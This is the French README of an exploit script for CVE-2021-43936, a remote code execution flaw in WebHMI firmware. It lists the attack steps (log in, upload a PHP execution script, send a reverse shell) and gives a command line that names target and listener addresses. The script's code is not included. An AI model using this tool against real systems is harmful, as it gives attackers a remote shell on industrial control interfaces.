CVE-2021-43936

CVE-2021-43936 est une vulnérabilité critique (CVSS3 10.0) entraînant une exécution de code à distance (RCE) dans le firmware WebHMI.
Cette vulnérabilité affecte les versions 4.0 et les plus récentes.
Testée uniquement sur la version 4.0.7475. La vulnérabilité est exploitée par le script comme suit :

1. Se connecte à l'application
2. Télécharge le script d'exécution de code PHP
3. Envoie la charge utile du reverse shell

L'exploit peut échouer si plusieurs NIC sont attachés. La solution est de réessayer.

Exemple d'utilisation :

python3 cve-2021-43936.py -t 10.100.23.200 -p 80 -l 10.100.23.201 -P 80